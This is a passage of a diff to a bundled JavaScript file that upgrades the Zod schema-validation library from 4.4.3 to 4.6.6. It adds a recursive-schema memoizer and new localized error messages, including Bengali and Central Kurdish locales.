part !== null) { - if (!part._zod.pattern) { + const source = partPattern(part); + if (!source) { throw new Error(`Invalid template literal part, no pattern found: ${[...part._zod.traits].shift()}`); } - const source = part._zod.pattern instanceof RegExp ? part._zod.pattern.source : part._zod.pattern; - if (!source) - throw new Error(`Invalid template literal part: ${part._zod.traits}`); - const start = source.startsWith("^") ? 1 : 0; - const end = source.endsWith("$") ? source.length - 1 : source.length; - regexParts.push(source.slice(start, end)); + regexParts.push(cleanRegex(source)); } else if (part === null || primitiveTypes.has(typeof part)) { regexParts.push(escapeRegex(`${part}`)); } else { @@ -93048,33 +93731,33 @@ var $ZodTemplateLiteral = /* @__PURE__ */ $constructor("$ZodTemplateLiteral", (i }); var $ZodFunction = /* @__PURE__ */ $constructor("$ZodFunction", (inst, def) => { $ZodType.init(inst, def); - inst._def = def; + Object.defineProperty(inst, "_def", { value: def }); inst._zod.def = def; inst.implement = (func) => { if (typeof func !== "function") { throw new Error("implement() must be called with a function"); } - return function(...args) { + return Object.defineProperty(function(...args) { const parsedArgs = inst._def.input ? parse(inst._def.input, args) : args; const result2 = Reflect.apply(func, this, parsedArgs); if (inst._def.output) { return parse(inst._def.output, result2); } return result2; - }; + }, "_zod", { value: inst._zod, enumerable: false }); }; inst.implementAsync = (func) => { if (typeof func !== "function") { throw new Error("implementAsync() must be called with a function"); } - return async function(...args) { + return Object.defineProperty(async function(...args) { const parsedArgs = inst._def.input ? await parseAsync(inst._def.input, args) : args; const result2 = await Reflect.apply(func, this, parsedArgs); if (inst._def.output) { return await parseAsync(inst._def.output, result2); } return result2; - }; + }, "_zod", { value: inst._zod, enumerable: false }); }; inst._zod.parse = (payload, _ctx) => { if (typeof payload.value !== "function") { @@ -93113,12 +93796,12 @@ var $ZodFunction = /* @__PURE__ */ $constructor("$ZodFunction", (inst, def) => { output: inst._def.output }); }; - inst.output = (output) => { + inst.output = (output2) => { const F = inst.constructor; return new F({ type: "function", input: inst._def.input, - output + output: output2 }); }; return inst; @@ -93137,10 +93820,10 @@ var $ZodLazy = /* @__PURE__ */ $constructor("$ZodLazy", (inst, def) => { d._cachedInner = def.getter(); return d._cachedInner; }); - defineLazy(inst._zod, "pattern", () => inst._zod.innerType?._zod?.pattern); - defineLazy(inst._zod, "propValues", () => inst._zod.innerType?._zod?.propValues); - defineLazy(inst._zod, "optin", () => inst._zod.innerType?._zod?.optin ?? void 0); - defineLazy(inst._zod, "optout", () => inst._zod.innerType?._zod?.optout ?? void 0); + defineLazyInternal(inst, "pattern", (zod) => zod.innerType?._zod?.pattern); + defineLazyInternal(inst, "propValues", (zod) => zod.innerType?._zod?.propValues); + defineLazyInternal(inst, "optin", (zod) => zod.innerType?._zod?.optin ?? void 0); + defineLazyInternal(inst, "optout", (zod) => zod.innerType?._zod?.optout ?? void 0); inst._zod.parse = (payload, ctx) => { const inner = inst._zod.innerType; return inner._zod.run(payload, ctx); @@ -93153,20 +93836,20 @@ var $ZodCustom = /* @__PURE__ */ $constructor("$ZodCustom", (inst, def) => { return payload; }; inst._zod.check = (payload) => { - const input = payload.value; - const r = def.fn(input); + const input2 = payload.value; + const r = def.fn(input2); if (r instanceof Promise) { - return r.then((r2) => handleRefineResult(r2, payload, input, inst)); + return r.then((r2) => handleRefineResult(r2, payload, input2, inst)); } - handleRefineResult(r, payload, input, inst); + handleRefineResult(r, payload, input2, inst); return; }; }); -function handleRefineResult(result2, payload, input, inst) { +function handleRefineResult(result2, payload, input2, inst) { if (!result2) { const _iss = { code: "custom", - input, + input: input2, inst, // incorporates params.error into issue reporting path: [...inst._zod.def.path ?? []], @@ -93180,14 +93863,293 @@ function handleRefineResult(result2, payload, input, inst) { } } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/index.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/memoizer.js +var $ZodCyclicError = class extends Error { + constructor() { + super(`Cannot parse a reference cycle that closes through a transform`); + this.name = "ZodCyclicError"; + } +}; +var STATE = "~memo"; +var NO_ISSUES = []; +function isRef(value) { + return value !== null && typeof value === "object"; +} +function cloneIssues(issues) { + return issues.map((iss) => iss.path ? { ...iss, path: iss.path.slice() } : { ...iss }); +} +var recursive = /* @__PURE__ */ new WeakMap(); +var NONE = 0; +var ASSUMED = 1; +var PROVEN = 2; +function isRecursive(inst, stack, resolve2) { + const cached2 = recursive.get(inst); + if (cached2 !== void 0) + return cached2 ? PROVEN : NONE; + if (stack.has(inst)) + return PROVEN; + stack.add(inst); + let result2 = NONE; + const check3 = (child) => { + if (result2 !== PROVEN && child?._zod) { + const answer = isRecursive(child, stack, resolve2); + if (answer > result2) + result2 = answer; + } + }; + const shape = (sh, spread) => { + let answer = NONE; + for (const key of Reflect.ownKeys(sh)) { + const desc2 = Object.getOwnPropertyDescriptor(sh, key); + if (spread && !desc2.enumerable) + continue; + const child = desc2.get ? ASSUMED : desc2.value?._zod ? isRecursive(desc2.value, stack, resolve2) : NONE; + if (child > answer) + answer = child; + } + return answer; + }; + const merge2 = (answer) => { + if (answer > result2) + result2 = answer; + }; + const def = inst._zod.def; + const kind = def.type; + switch (kind) { + case "object": { + const raw = rawShape(def); + merge2(raw ? shape(raw, true) : ASSUMED); + check3(def.catchall); + break; + } + case "array": + check3(def.element); + break; + case "tuple": + for (const el of def.items) + check3(el); + check3(def.rest); + break; + case "record": + case "map": + check3(def.keyType); + check3(def.valueType); + break; + case "set": + check3(def.valueType); + break; + case "union": + for (const el of def.options) + check3(el); + break; + case "intersection": + check3(def.left); + check3(def.right); + break; + case "optional": + case "nullable": + case "default": + case "prefault": + case "catch": + case "readonly": + case "nonoptional": + case "promise": + case "success": + check3(def.innerType); + break; + case "pipe": + check3(def.in); + check3(def.out); + break; + case "function": + check3(def.input); + check3(def.output); + break; + // `$ZodLazy` caches its inner on the def, so a resolved edge is followed exactly + case "lazy": { + const inner = def._cachedInner ?? (resolve2 ? inst._zod.innerType : void 0); + merge2(inner ? isRecursive(inner, stack, false) : ASSUMED); + break; + } + // a leaf by choice: `parts` are regex fragments, not data positions + case "template_literal": + // leaves + case "string": + case "number": + case "int": + case "boolean": + case "bigint": + case "symbol": + case "undefined": + case "null": + case "void": + case "never": + case "any": + case "unknown": + case "date": + case "nan": + case "enum": + case "literal": + case "file": + case "transform": + case "custom": + break; + default: { + kind; + for (const key in def) { + const desc2 = Object.getOwnPropertyDescriptor(def, key); + if (!desc2 || desc2.get) + continue; + const value = desc2.value; + if (!value || typeof value !== "object") + continue; + if (value._zod) + check3(value); + else if (Array.isArray(value)) + for (const el of value) + check3(el); + } + } + } + stack.delete(inst); + return settle(inst, result2); +} +function settle(inst, answer) { + if (answer !== ASSUMED) + recursive.set(inst, answer === PROVEN); + return answer; +} +function isRecursiveSchema(inst) { + return isRecursive(inst, /* @__PURE__ */ new Set(), true) !== NONE; +} +function bucketFor(state, inst) { + let bucket = state.buckets.get(inst); + if (!bucket) { + bucket = /* @__PURE__ */ new WeakMap(); + state.buckets.set(inst, bucket); + } + return bucket; +} +var handoff; +var open = []; +var memo = { + alloc(_inst, payload, empty) { + const bucket = handoff; + if (!bucket) + return empty; + handoff = void 0; + const entry = { value: empty, issues: null }; + bucket.set(payload.value, entry); + open.push(entry); + return empty; + }, + guard(inst) { + var _a3; + (_a3 = inst._zod).deferred ?? (_a3.deferred = []); + inst._zod.deferred.push(() => { + const base = inst._zod.parse; + const wrapped = (payload, ctx) => { + if (ctx.direction !== "backward" && isBackEdge(ctx, payload.value)) + throw new $ZodCyclicError(); + return base(payload, ctx); + }; + inst._zod.parse = wrapped; + if (inst._zod.run === base) + inst._zod.run = wrapped; + }); + }, + attach(inst) { + var _a3; + let isRecursiveInst; + let rechecked = false; + let lastCtx; + let lastBucket; + (_a3 = inst._zod).deferred ?? (_a3.deferred = []); + inst._zod.deferred.push(() => { + const base = inst._zod.parse; + const wrapped = (payload, ctx) => { + if (isRecursiveInst === void 0) { + const walked = isRecursive(inst, /* @__PURE__ */ new Set(), false); + if (walked === NONE) { + inst._zod.parse = base; + if (inst._zod.run === wrapped) + inst._zod.run = base; + return base(payload, ctx); + } + if (walked === PROVEN || rechecked) + isRecursiveInst = true; + else + rechecked = true; + } + const input2 = payload.value; + if (!isRef(input2)) + return base(payload, ctx); + let state = ctx[STATE]; + if (!state) { + state = { buckets: /* @__PURE__ */ new WeakMap(), backEdges: void 0 }; + ctx[STATE] = state; + } + let bucket; + if (lastCtx === ctx) { + bucket = lastBucket; + } else { + bucket = bucketFor(state, inst); + lastCtx = ctx; + lastBucket = bucket; + } + const hit = bucket.get(input2); + if (hit) { + payload.value = hit.value; + if (hit.issues) { + if (hit.issues.length) + payload.issues.push(...cloneIssues(hit.issues)); + } else { + payload.memo = true; + state.backEdges ?? (state.backEdges = /* @__PURE__ */ new WeakSet()); + state.backEdges.add(hit.value); + } + return payload; + } + handoff = bucket; + const depth = open.length; + const result2 = base(payload, ctx); + handoff = void 0; + const entry = open.length > depth ? open.pop() : void 0; + if (result2 instanceof Promise) { + return result2.then((r) => { + if (entry) + entry.issues = r.issues.length ? cloneIssues(r.issues) : NO_ISSUES; + return r; + }); + } + if (entry) + entry.issues = result2.issues.length ? cloneIssues(result2.issues) : NO_ISSUES; + return result2; + }; + inst._zod.parse = wrapped; + if (inst._zod.run === base) + inst._zod.run = wrapped; + }); + } +}; +function memoizer() { + return memo; +} +function isBackEdge(ctx, value) { + const backEdges = ctx[STATE]?.backEdges; + return backEdges !== void 0 && isRef(value) && backEdges.has(value); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/index.js var locales_exports = {}; __export(locales_exports, { ar: () => ar_default, az: () => az_default, be: () => be_default, bg: () => bg_default, + bn: () => bn_default, ca: () => ca_default, + ckb: () => ckb_default, cs: () => cs_default, da: () => da_default, de: () => de_default, @@ -93199,7 +94161,9 @@ __export(locales_exports, { fi: () => fi_default, fr: () => fr_default, frCA: () => fr_CA_default, + gu: () => gu_default, he: () => he_default, + hi: () => hi_default, hr: () => hr_default, hu: () => hu_default, hy: () => hy_default, @@ -93210,22 +94174,29 @@ __export(locales_exports, { ka: () => ka_default, kh: () => kh_default, km: () => km_default, + kn: () => kn_default, ko: () => ko_default, lt: () => lt_default, mk: () => mk_default, ms: () => ms_default, + ne: () => ne_default, nl: () => nl_default, + nn: () => nn_default, no: () => no_default, ota: () => ota_default, pl: () => pl_default, ps: () => ps_default, pt: () => pt_default, + ptBR: () => pt_BR_default, ro: () => ro_default, ru: () => ru_default, + sk: () => sk_default, sl: () => sl_default, sv: () => sv_default, ta: () => ta_default, + tg: () => tg_default, th: () => th_default, + tk: () => tk_default, tr: () => tr_default, ua: () => ua_default, uk: () => uk_default, @@ -93237,13 +94208,14 @@ __export(locales_exports, { zhTW: () => zh_TW_default }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ar.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ar.js var error = () => { const Sizable = { string: { unit: "\u062D\u0631\u0641", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, file: { unit: "\u0628\u0627\u064A\u062A", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, array: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, - set: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" } + set: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, + map: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -93269,12 +94241,16 @@ var error = () => { duration: "\u0645\u062F\u0629 \u0628\u0645\u0639\u064A\u0627\u0631 ISO", ipv4: "\u0639\u0646\u0648\u0627\u0646 IPv4", ipv6: "\u0639\u0646\u0648\u0627\u0646 IPv6", + mac: "\u0639\u0646\u0648\u0627\u0646 MAC", cidrv4: "\u0645\u062F\u0649 \u0639\u0646\u0627\u0648\u064A\u0646 \u0628\u0635\u064A\u063A\u0629 IPv4", cidrv6: "\u0645\u062F\u0649 \u0639\u0646\u0627\u0648\u064A\u0646 \u0628\u0635\u064A\u063A\u0629 IPv6", base64: "\u0646\u064E\u0635 \u0628\u062A\u0631\u0645\u064A\u0632 base64-encoded", base64url: "\u0646\u064E\u0635 \u0628\u062A\u0631\u0645\u064A\u0632 base64url-encoded", json_string: "\u0646\u064E\u0635 \u0639\u0644\u0649 \u0647\u064A\u0626\u0629 JSON", e164: "\u0631\u0642\u0645 \u0647\u0627\u062A\u0641 \u0628\u0645\u0639\u064A\u0627\u0631 E.164", + credit_card: "\u0631\u0642\u0645 \u0628\u0637\u0627\u0642\u0629 \u0627\u0644\u0627\u0626\u062A\u0645\u0627\u0646", + currency_code: "\u0631\u0645\u0632 \u0627\u0644\u0639\u0645\u0644\u0629", + iban: "IBAN", jwt: "JWT", template_literal: "\u0645\u062F\u062E\u0644" }; @@ -93344,13 +94320,14 @@ function ar_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/az.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/az.js var error2 = () => { const Sizable = { string: { unit: "simvol", verb: "olmal\u0131d\u0131r" }, file: { unit: "bayt", verb: "olmal\u0131d\u0131r" }, array: { unit: "element", verb: "olmal\u0131d\u0131r" }, - set: { unit: "element", verb: "olmal\u0131d\u0131r" } + set: { unit: "element", verb: "olmal\u0131d\u0131r" }, + map: { unit: "element", verb: "olmal\u0131d\u0131r" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -93376,12 +94353,16 @@ var error2 = () => { duration: "ISO duration", ipv4: "IPv4 address", ipv6: "IPv6 address", + mac: "MAC address", cidrv4: "IPv4 range", cidrv6: "IPv6 range", base64: "base64-encoded string", base64url: "base64url-encoded string", json_string: "JSON string", e164: "E.164 number", + credit_card: "kredit kart\u0131 n\xF6mr\u0259si", + currency_code: "valyuta kodu", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -93450,7 +94431,7 @@ function az_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/be.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/be.js function getBelarusianPlural(count, one, few, many) { const absCount = Math.abs(count); const lastDigit = absCount % 10; @@ -93492,6 +94473,14 @@ var error3 = () => { }, verb: "\u043C\u0435\u0446\u044C" }, + map: { + unit: { + one: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442", + few: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u044B", + many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u0430\u045E" + }, + verb: "\u043C\u0435\u0446\u044C" + }, file: { unit: { one: "\u0431\u0430\u0439\u0442", @@ -93525,12 +94514,16 @@ var error3 = () => { duration: "ISO \u043F\u0440\u0430\u0446\u044F\u0433\u043B\u0430\u0441\u0446\u044C", ipv4: "IPv4 \u0430\u0434\u0440\u0430\u0441", ipv6: "IPv6 \u0430\u0434\u0440\u0430\u0441", + mac: "MAC \u0430\u0434\u0440\u0430\u0441", cidrv4: "IPv4 \u0434\u044B\u044F\u043F\u0430\u0437\u043E\u043D", cidrv6: "IPv6 \u0434\u044B\u044F\u043F\u0430\u0437\u043E\u043D", base64: "\u0440\u0430\u0434\u043E\u043A \u0443 \u0444\u0430\u0440\u043C\u0430\u0446\u0435 base64", base64url: "\u0440\u0430\u0434\u043E\u043A \u0443 \u0444\u0430\u0440\u043C\u0430\u0446\u0435 base64url", json_string: "JSON \u0440\u0430\u0434\u043E\u043A", e164: "\u043D\u0443\u043C\u0430\u0440 E.164", + credit_card: "\u043D\u0443\u043C\u0430\u0440 \u043A\u0440\u044D\u0434\u044B\u0442\u043D\u0430\u0439 \u043A\u0430\u0440\u0442\u044B", + currency_code: "\u043A\u043E\u0434 \u0432\u0430\u043B\u044E\u0442\u044B", + iban: "IBAN", jwt: "JWT", template_literal: "\u0443\u0432\u043E\u0434" }; @@ -93607,13 +94600,14 @@ function be_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/bg.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/bg.js var error4 = () => { const Sizable = { string: { unit: "\u0441\u0438\u043C\u0432\u043E\u043B\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, file: { unit: "\u0431\u0430\u0439\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, array: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, - set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" } + set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, + map: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -93639,12 +94633,16 @@ var error4 = () => { duration: "ISO \u043F\u0440\u043E\u0434\u044A\u043B\u0436\u0438\u0442\u0435\u043B\u043D\u043E\u0441\u0442", ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441", ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441", + mac: "MAC \u0430\u0434\u0440\u0435\u0441", cidrv4: "IPv4 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", cidrv6: "IPv6 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", base64: "base64-\u043A\u043E\u0434\u0438\u0440\u0430\u043D \u043D\u0438\u0437", base64url: "base64url-\u043A\u043E\u0434\u0438\u0440\u0430\u043D \u043D\u0438\u0437", json_string: "JSON \u043D\u0438\u0437", e164: "E.164 \u043D\u043E\u043C\u0435\u0440", + credit_card: "\u043D\u043E\u043C\u0435\u0440 \u043D\u0430 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u0430 \u043A\u0430\u0440\u0442\u0430", + currency_code: "\u043A\u043E\u0434 \u043D\u0430 \u0432\u0430\u043B\u0443\u0442\u0430", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u0445\u043E\u0434" }; @@ -93728,13 +94726,128 @@ function bg_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ca.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/bn.js var error5 = () => { + const Sizable = { + string: { unit: "\u0985\u0995\u09CD\u09B7\u09B0", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + file: { unit: "\u09AC\u09BE\u0987\u099F", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + array: { unit: "\u0986\u0987\u099F\u09C7\u09AE", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + set: { unit: "\u0986\u0987\u099F\u09C7\u09AE", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + map: { unit: "\u098F\u09A8\u09CD\u099F\u09CD\u09B0\u09BF", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0987\u09A8\u09AA\u09C1\u099F", + email: "\u0987\u09AE\u09C7\u0987\u09B2 \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + url: "URL", + emoji: "\u0987\u09AE\u09CB\u099C\u09BF", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u09A4\u09BE\u09B0\u09BF\u0996 \u0993 \u09B8\u09AE\u09AF\u09BC", + date: "ISO \u09A4\u09BE\u09B0\u09BF\u0996", + time: "ISO \u09B8\u09AE\u09AF\u09BC", + duration: "ISO \u09B8\u09AE\u09AF\u09BC\u0995\u09BE\u09B2", + ipv4: "IPv4 \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + ipv6: "IPv6 \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + mac: "MAC \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + cidrv4: "IPv4 \u09B0\u09C7\u099E\u09CD\u099C", + cidrv6: "IPv6 \u09B0\u09C7\u099E\u09CD\u099C", + base64: "base64-\u098F\u09A8\u0995\u09CB\u09A1\u09C7\u09A1 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982", + base64url: "base64url-\u098F\u09A8\u0995\u09CB\u09A1\u09C7\u09A1 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982", + json_string: "JSON \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982", + e164: "E.164 \u09A8\u09AE\u09CD\u09AC\u09B0", + credit_card: "\u0995\u09CD\u09B0\u09C7\u09A1\u09BF\u099F \u0995\u09BE\u09B0\u09CD\u09A1 \u09A8\u09AE\u09CD\u09AC\u09B0", + currency_code: "\u09AE\u09C1\u09A6\u09CD\u09B0\u09BE \u0995\u09CB\u09A1", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0987\u09A8\u09AA\u09C1\u099F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F: \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4 ${expected}, \u09AA\u09CD\u09B0\u09BE\u09AA\u09CD\u09A4 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F: \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0985\u09AC\u09C8\u09A7 \u0985\u09AA\u09B6\u09A8: ${joinValues(issue2.values, " | ")} \u098F\u09B0 \u09AE\u09A7\u09CD\u09AF\u09C7 \u098F\u0995\u099F\u09BF \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0985\u09A8\u09C7\u0995 \u09AC\u09A1\u09BC: ${issue2.origin ?? "\u09AE\u09BE\u09A8"} ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u098F\u09B2\u09BF\u09AE\u09C7\u09A8\u09CD\u099F"} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + return `\u0985\u09A8\u09C7\u0995 \u09AC\u09A1\u09BC: ${issue2.origin ?? "\u09AE\u09BE\u09A8"} ${adj}${issue2.maximum.toString()} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0985\u09A8\u09C7\u0995 \u099B\u09CB\u099F: ${issue2.origin} ${adj}${issue2.minimum.toString()} ${sizing.unit} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + return `\u0985\u09A8\u09C7\u0995 \u099B\u09CB\u099F: ${issue2.origin} ${adj}${issue2.minimum.toString()} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: "${_issue.prefix}" \u09A6\u09BF\u09AF\u09BC\u09C7 \u09B6\u09C1\u09B0\u09C1 \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + if (_issue.format === "ends_with") + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: "${_issue.suffix}" \u09A6\u09BF\u09AF\u09BC\u09C7 \u09B6\u09C7\u09B7 \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + if (_issue.format === "includes") + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: "${_issue.includes}" \u0985\u09A8\u09CD\u09A4\u09B0\u09CD\u09AD\u09C1\u0995\u09CD\u09A4 \u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7`; + if (_issue.format === "regex") + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: ${_issue.pattern} \u09AA\u09CD\u09AF\u09BE\u099F\u09BE\u09B0\u09CD\u09A8 \u09AE\u09BF\u09B2\u09A4\u09C7 \u09B9\u09AC\u09C7`; + return `\u0985\u09AC\u09C8\u09A7 ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0985\u09AC\u09C8\u09A7 \u09A8\u09AE\u09CD\u09AC\u09B0: ${issue2.divisor} \u098F\u09B0 \u0997\u09C1\u09A3\u09BF\u09A4\u0995 \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + case "unrecognized_keys": + return `\u0985\u099A\u09C7\u09A8\u09BE \u0995\u09C0${issue2.keys.length > 1 ? "\u0997\u09C1\u09B2\u09CB" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} \u098F \u0985\u09AC\u09C8\u09A7 \u0995\u09C0`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0985\u09AC\u09C8\u09A7 \u09A1\u09BF\u09B8\u0995\u09CD\u09B0\u09BF\u09AE\u09BF\u09A8\u09C7\u099F\u09B0 \u09AE\u09BE\u09A8\u0964 \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4 ${opts}`; + } + return "\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F"; + case "invalid_element": + return `${issue2.origin} \u098F \u0985\u09AC\u09C8\u09A7 \u09AE\u09BE\u09A8`; + default: + return "\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F"; + } + }; +}; +function bn_default() { + return { + localeError: error5() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ca.js +var error6 = () => { const Sizable = { string: { unit: "car\xE0cters", verb: "contenir" }, file: { unit: "bytes", verb: "contenir" }, array: { unit: "elements", verb: "contenir" }, - set: { unit: "elements", verb: "contenir" } + set: { unit: "elements", verb: "contenir" }, + map: { unit: "elements", verb: "contenir" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -93760,12 +94873,16 @@ var error5 = () => { duration: "durada ISO", ipv4: "adre\xE7a IPv4", ipv6: "adre\xE7a IPv6", + mac: "adre\xE7a MAC", cidrv4: "rang IPv4", cidrv6: "rang IPv6", base64: "cadena codificada en base64", base64url: "cadena codificada en base64url", json_string: "cadena JSON", e164: "n\xFAmero E.164", + credit_card: "n\xFAmero de targeta de cr\xE8dit", + currency_code: "codi de moneda", + iban: "IBAN", jwt: "JWT", template_literal: "entrada" }; @@ -93833,17 +94950,151 @@ var error5 = () => { }; function ca_default() { return { - localeError: error5() + localeError: error6() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/cs.js -var error6 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ckb.js +var error7 = () => { + const Sizable = { + string: { unit: "\u067E\u06CC\u062A", verb: "\u0628\u06CE\u062A" }, + file: { unit: "\u0628\u0627\u06CC\u062A", verb: "\u0628\u06CE\u062A" }, + array: { unit: "\u062F\u0627\u0646\u06D5", verb: "\u0628\u06CE\u062A" }, + set: { unit: "\u062F\u0627\u0646\u06D5", verb: "\u0628\u06CE\u062A" }, + map: { unit: "\u062F\u0627\u0646\u06D5", verb: "\u0628\u06CE\u062A" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "regex", + email: "\u0626\u06CC\u0645\u06D5\u06CC\u06B5", + url: "\u0628\u06D5\u0633\u062A\u06D5\u0631 (URL)", + emoji: "\u0626\u06CC\u0645\u06C6\u062C\u06CC", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "\u0695\u06CE\u06A9\u06D5\u0648\u062A \u0648 \u06A9\u0627\u062A", + date: "\u0695\u06CE\u06A9\u06D5\u0648\u062A", + time: "\u06A9\u0627\u062A", + duration: "\u0645\u0627\u0648\u06D5", + ipv4: "\u0646\u0627\u0648\u0646\u06CC\u0634\u0627\u0646\u06CC IPv4", + ipv6: "\u0646\u0627\u0648\u0646\u06CC\u0634\u0627\u0646\u06CC IPv6", + mac: 